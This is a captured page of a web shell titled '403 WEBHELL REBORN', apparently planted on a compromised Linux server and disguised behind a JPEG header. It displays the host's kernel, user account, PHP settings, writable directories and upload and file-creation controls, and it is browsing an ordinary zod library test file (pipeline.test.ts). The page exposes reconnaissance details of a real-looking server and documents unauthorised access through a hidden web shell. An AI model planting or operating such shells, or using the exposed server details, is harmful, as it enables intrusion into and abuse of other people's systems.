ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/apimetaexamepopular/node_modules/zod/src/v3/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/apimetaexamepopular/node_modules/zod/src/v3/tests/pipeline.test.ts
// @ts-ignore TS6133
import { expect, test } from "vitest";

import * as z from "zod/v3";

test("string to number pipeline", () => {
  const schema = z.string().transform(Number).pipe(z.number());
  expect(schema.parse("1234")).toEqual(1234);
});

test("string to number pipeline async", async () => {
  const schema = z
    .string()
    .transform(async (val) => Number(val))
    .pipe(z.number());
  expect(await schema.parseAsync("1234")).toEqual(1234);
});

test("break if dirty", () => {
  const schema = z
    .string()
    .refine((c) => c === "1234")
    .transform(async (val) => Number(val))
    .pipe(z.number().refine((v) => v < 100));
  const r1: any = schema.safeParse("12345");
  expect(r1.error.issues.length).toBe(1);
  const r2: any = schema.safeParse("3");
  expect(r2.error.issues.length).toBe(1);
});

Anon7 - 2021